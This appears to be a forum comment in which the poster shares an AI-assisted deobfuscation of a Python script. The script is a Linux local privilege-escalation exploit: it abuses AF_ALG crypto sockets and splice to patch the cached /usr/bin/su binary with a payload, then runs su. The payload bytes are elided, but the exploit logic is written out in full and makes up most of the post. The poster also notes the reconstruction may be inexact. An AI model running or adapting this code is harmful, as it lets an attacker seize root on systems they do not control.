Glad I’m not alone. The whiplash from “oh, python I can read this” to “what the hell does that do” was jarring.

Assuming AI was correct, it unpacks more or less like this

import os, zlib, socket

AF_ALG = 38

SOCK_SEQPACKET = 5

SOL_ALG = 279

def hex_bytes(x):

    return bytes.fromhex(x)

def trigger(fd, offset, patch4):

    sock = socket.socket(AF_ALG, SOCK_SEQPACKET, 0)

    sock.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))

    sock.setsockopt(SOL_ALG, 1, hex_bytes("0800010000000010" + "0" * 64))

    sock.setsockopt(SOL_ALG, 5, None, 4)

    op, _ = sock.accept()

    length = offset + 4

    zero = b"\x00"

    op.sendmsg(

        [b"A" * 4 + patch4],

        [

            (SOL_ALG, 3, zero * 4),

            (SOL_ALG, 2, b"\x10" + zero * 19),

            (SOL_ALG, 4, b"\x08" + zero * 3),

        ],

        32768,

    )

    read_pipe, write_pipe = os.pipe()

    os.splice(fd, write_pipe, length, offset_src=0)

    os.splice(read_pipe, op.fileno(), length)

    try:

        op.recv(8 + offset)

    except:

        pass

target = os.open("/usr/bin/su", os.O_RDONLY)

payload = zlib.decompress(bytes.fromhex("..."))

offset = 0

while offset < len(payload):

    trigger(target, offset, payload[offset:offset + 4])

    offset += 4

os.system("su")